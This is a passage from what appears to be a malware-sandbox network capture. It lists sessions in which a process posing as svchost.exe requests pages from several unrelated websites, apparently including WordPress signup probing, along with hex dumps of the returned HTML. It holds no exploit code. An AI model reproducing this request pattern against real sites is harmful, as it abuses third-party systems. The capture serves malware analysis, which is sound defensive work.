,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M390,152.64a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M389.8,146.16a1.61,1.61,0,0,1-.73,
2023-07-27 19:54:08 UTC	3925	IN	Data Raw: 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 35 2e 36 31 2c 32 38 2e 38 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 35 2e 33 Data Ascii: .24,0,0,1,.48-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M405.61,28.81a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M405.3
2023-07-27 19:54:08 UTC	3941	IN	Data Raw: 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 34 33 30 2e 33 2c 39 34 61 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 33 33 2e 39 33 2c 38 36 2e 32 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 3e 3c 2f 70 61 74 68 3e 3c Data Ascii: 34,2.34,0,0,1,430.3,94a2.24,2.24,0,0,1,.48-2.7,2.09,2.09,0,0,1,2.7,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M433.93,86.26a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.7,0,2,2,0,0,1,.15,2.68"></path><
2023-07-27 19:54:08 UTC	3957	IN	Data Raw: 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 36 32 2e 32 35 2c 31 34 33 2e 37 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c Data Ascii: ,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.68"></path><path class="cls-9" d="M462.25,143.71a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,
2023-07-27 19:54:08 UTC	3973	IN	Data Raw: 73 2d 39 22 20 64 3d 22 4d 34 37 38 2e 30 35 2c 32 36 2e 33 36 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 37 2e 38 34 2c 31 39 2e 38 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e Data Ascii: s-9" d="M478.05,26.36a1.6,1.6,0,0,1-.72,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M477.84,19.88a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.
2023-07-27 19:54:08 UTC	3989	IN	Data Raw: 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 30 36 2e 33 37 2c 38 33 2e 38 31 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 30 36 2e 31 35 2c 37 37 2e 33 33 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 Data Ascii: .67"></path><path class="cls-9" d="M506.37,83.81a1.6,1.6,0,0,1-.73,2.09,2.36,2.36,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M506.15,77.33a1.6,1.6,0,0,1-.73,2.09,2.36,2.36,0,0,1-3.12-.88
2023-07-27 19:54:08 UTC	4005	IN	Data Raw: 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 34 2e 36 39 2c 31 34 31 2e 32 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 34 2e 34 37 2c 31 33 34 2e 37 38 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 Data Ascii: 71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M534.69,141.26a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M534.47,134.78a1.62,1.62,0,0,1-.73,2.0
2023-07-27 19:54:10 UTC	4789	IN	Data Raw: 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 35 30 2e 32 38 2c 31 37 2e 34 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 35 30 2e 30 36 2c 31 31 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 31 Data Ascii: 2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M550.28,17.43a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M550.06,11a1.62,1.62,0,0,1
2023-07-27 19:54:10 UTC	4805	IN	Data Raw: 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 63 61 73 65 2f 77 6f 72 6b 73 2f 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 68 74 6d 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 70 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 69 6e 6e 65 72 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2e 2f 69 6d 61 67 65 73 2f 74 6f 70 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2d 69 6d 61 67 65 36 2e 70 6e 67 22 20 61 6c 74 3d 22 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 6f 70 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 63 6f 6e 74 65 6e 74 22 3e e9 9b 86 e5 90 88 e4 bd 8f e5 ae 85 3c 62 72 3e e6 b6 88 e9 98 b2 e8 a8 ad e5 82 99 e7 82 b9 Data Ascii: 4"> <a href="case/works/maintenance.html"> <div class="top-performance-inner"><img src="./images/top/performance-image6.png" alt=""> <p class="top-performance-content"><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	21331	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:37 UTC	6053	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-07-27 19:54:40 UTC	8368	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=93 Content-Length: 49180 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Thu, 27 Jul 2023 19:54:40 GMT Connection: close
2023-07-27 19:54:40 UTC	8368	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-07-27 19:54:40 UTC	8371	IN	Data Raw: 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 61 2e 72 65 61 64 79 53 74 61 74 65 26 26 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 29 29 2c 28 6e 3d 74 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 Data Ascii: eadyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).conc
2023-07-27 19:54:40 UTC	8379	IN	Data Raw: 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 31 34 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 Data Ascii: 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(14)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repe
2023-07-27 19:54:40 UTC	8387	IN	Data Raw: 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 3d 7b 22 61 6a 61 78 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 Data Ascii: ipt' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?ver=5.4.8'></script><script type='text/javascript'>//<![CDATA[var wc_add_to_cart_params={"ajax_url":"https:\/\/dataform.co.uk\/wp-admin\/a
2023-07-27 19:54:40 UTC	8395	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b Data Ascii: ps://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="76x76" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="120x120" href="https://dataform.co.uk
2023-07-27 19:54:40 UTC	8403	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 34 30 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 70 72 69 63 69 6e 67 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 50 72 69 63 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: menu-item-object-page menu-item-54040"><a href='https://dataform.co.uk/pricing/' data-level='1'><span class="menu-item-text"><span class="menu-text">Pricing</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2023-07-27 19:54:40 UTC	8411	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 64 74 2d 74 68 65 37 2f 6a 73 2f 6d 61 69 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 36 2e 30 2e 31 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 70 63 66 37 3d 7b 22 61 70 69 53 65 74 74 69 6e 67 73 22 3a 7b 22 72 6f 6f 74 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 6a 73 6f 6e 5c 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 5c 2f 76 31 22 2c 22 6e 61 6d 65 73 70 61 63 65 22 3a 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 5c 2f 76 31 22 7d 7d 3b 0a Data Ascii: https://dataform.co.uk/wp-content/themes/dt-the7/js/main.min.js?ver=6.6.0.1'></script><script type='text/javascript'>//<![CDATA[var wpcf7={"apiSettings":{"root":"https:\/\/dataform.co.uk\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"}};

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	50167	104.21.48.207	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:36 UTC	77	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com
2023-07-27 19:53:36 UTC	78	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 27 Jul 2023 19:53:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Thu, 27 Jul 2023 19:41:23 GMT Content-Language: en Last-Modified: Thu, 27 Jul 2023 19:41:23 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language Set-Cookie: django_language=en; expires=Fri, 26-Jul-2024 19:41:23 GMT; Max-Age=31536000; Path=/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QgaKW5aDO4RKxIivJWZixI3BDSLJLo%2BqZ8EwxJCi7OgBp%2BgS6u3NlYAE20feg7Vt7PAq3KGSD033ryFpqDJuhXy%2FVriRD6iRAjRV%2BRKzpCkp%2FJlRvH%2B9itaWMo86PIp1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7ed76df0395e996c-FRA alt-svc: h3=":443"; ma=86400
2023-07-27 19:53:36 UTC	79	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-07-27 19:53:36 UTC	79	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	50200	172.67.193.133	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:36 UTC	77	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.com
2023-07-27 19:53:36 UTC	82	IN	HTTP/1.1 200 OK Date: Thu, 27 Jul 2023 19:53:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding,User-Agent Set-Cookie: PHPSESSID=3a81b7877c9c9514e7f79a1e88d0d33b; path=/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MWgIF3X2DomOhKrlZ7kevDSr0l%2BzOVDNWILj2kU2DJz78odNPiYAvl5O28SXZ5gUfRUHbG9gZfcuwflNKY6vB9ubH6OubxXx0CWGFrfIGJ5KhnEro9QcTUBCKA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7ed76df0ed19366f-FRA alt-svc: h3=":443"; ma=86400
2023-07-27 19:53:36 UTC	82	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	50204	94.130.146.206	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:36 UTC	77	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-07-27 19:53:36 UTC	77	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 27 Jul 2023 19:53:36 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
